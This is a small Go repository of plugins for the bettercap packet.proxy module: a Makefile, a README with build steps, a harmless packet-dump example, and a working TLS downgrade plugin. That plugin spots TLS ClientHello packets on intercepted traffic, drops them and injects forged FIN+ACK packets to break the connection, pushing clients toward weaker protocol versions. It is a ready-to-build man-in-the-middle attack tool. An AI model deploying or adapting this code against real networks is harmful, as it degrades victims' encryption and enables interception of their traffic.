├── .gitignore ├── Makefile ├── README.md ├── gopacket.example.go └── tls.downgrade.go /.gitignore: -------------------------------------------------------------------------------- 1 | *.so 2 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: gopacket.example.so tls.downgrade.so 2 | 3 | %.so: %.go 4 | go build -buildmode=plugin $< 5 | 6 | clean: 7 | rm -rf *.so 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Packet Proxy Plugins 2 | 3 | Plugins for the [packet.proxy](https://github.com/bettercap/bettercap/wiki/packet.proxy) module. 4 | 5 | **IMPORTANT** 6 | 7 | In order to be compiled correctly, plugin `.go` files need to be copied inside bettercap's source folder and compiled from there, otherwise you might have issues compiling due to dependency conflicts with the vendor folder. 8 | 9 | **Compile** 10 | 11 | 1. Copy the plugin file inside bettercap's source folder. 12 | 2. Compile with `go build -buildmode=plugin plugin.file.go`, this will generate the file `plugin.file.so`. 13 | -------------------------------------------------------------------------------- /gopacket.example.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "github.com/bettercap/bettercap/log" 5 | 6 | "github.com/chifflier/nfqueue-go/nfqueue" 7 | "github.com/google/gopacket" 8 | "github.com/google/gopacket/layers" 9 | ) 10 | 11 | func OnPacket(payload *nfqueue.Payload) int { 12 | packet := gopacket.NewPacket(payload.Data, layers.LayerTypeIPv4, gopacket.Default) 13 | log.Info("%s", packet.Dump()) 14 | payload.SetVerdict(nfqueue.NF_ACCEPT) 15 | return 0 16 | } 17 | -------------------------------------------------------------------------------- /tls.downgrade.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "net" 5 | "regexp" 6 | 7 | "github.com/bettercap/bettercap/log" 8 | "github.com/bettercap/bettercap/packets" 9 | "github.com/bettercap/bettercap/session" 10 | 11 | "github.com/chifflier/nfqueue-go/nfqueue" 12 | "github.com/evilsocket/islazy/tui" 13 | "github.com/google/gopacket" 14 | "github.com/google/gopacket/layers" 15 | ) 16 | 17 | var ( 18 | clientHelloRe = regexp.MustCompile(`\x16\x03\x01.{2}\x01`) 19 | ) 20 | 21 | func getLayers(packet gopacket.Packet) (ip *layers.IPv4, tcp *layers.TCP, ok bool) { 22 | ipLayer := packet.Layer(layers.LayerTypeIPv4) 23 | if ipLayer == nil { 24 | return nil, nil, false 25 | } 26 | 27 | ip, ok = ipLayer.(*layers.IPv4) 28 | if ok == false || ip == nil { 29 | return nil, nil, false 30 | } 31 | 32 | tcpLayer := packet.Layer(layers.LayerTypeTCP) 33 | if tcpLayer == nil { 34 | return nil, nil, false 35 | } 36 | 37 | tcp, ok = tcpLayer.(*layers.TCP) 38 | if ok == false || tcp == nil { 39 | return nil, nil, false 40 | } 41 | 42 | return 43 | } 44 | 45 | // "FIN, ACK" 46 | func tcpReset(src net.IP, dst net.IP, srcPort layers.TCPPort, dstPort layers.TCPPort, seq uint32, ack uint32) (error, []byte) { 47 | eth := layers.Ethernet{ 48 | SrcMAC: session.I.Interface.HW, 49 | DstMAC: session.I.Gateway.HW, 50 | EthernetType: layers.EthernetTypeIPv4, 51 | } 52 | ip4 := layers.IPv4{ 53 | Protocol: layers.IPProtocolTCP, 54 | Version: 4, 55 | TTL: 64, 56 | SrcIP: src, 57 | DstIP: dst, 58 | } 59 | tcp := layers.TCP{ 60 | SrcPort: srcPort, 61 | DstPort: dstPort, 62 | Seq: seq, 63 | Ack: ack, 64 | FIN: true, 65 | ACK: true, 66 | } 67 | 68 | tcp.SetNetworkLayerForChecksum(&ip4) 69 | 70 | return packets.Serialize(ð, &ip4, &tcp) 71 | } 72 | 73 | // as per https://p16.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack 74 | func OnPacket(payload *nfqueue.Payload) int { 75 | verdict := nfqueue.NF_ACCEPT 76 | 77 | if clientHelloRe.Match(payload.Data) == true { 78 | packet := gopacket.NewPacket(payload.Data, layers.LayerTypeIPv4, gopacket.Default) 79 | ip, tcp, ok := getLayers(packet) 80 | if ip != nil && tcp != nil && ok == true { 81 | log.Warning("[%s] Dropping TLS ClientHello from %s to %s:%d", tui.Green("tls.downgrade"), ip.SrcIP.String(), ip.DstIP.String(), tcp.DstPort) 82 | 83 | if err, raw := tcpReset(ip.SrcIP, ip.DstIP, tcp.SrcPort, tcp.DstPort, tcp.Seq, tcp.Ack); err == nil { 84 | if err := session.I.Queue.Send(raw); err != nil { 85 | log.Error("Error sending FIN+ACK packet: %s", err) 86 | } else { 87 | log.Debug("Sent %d bytes of FIN+ACK packet", len(raw)) 88 | verdict = nfqueue.NF_DROP 89 | } 90 | } else { 91 | log.Error("Error creating FIN+ACK packet: %s", err) 92 | } 93 | } 94 | } 95 | 96 | payload.SetVerdict(verdict) 97 | return 0 98 | } 99 | --------------------------------------------------------------------------------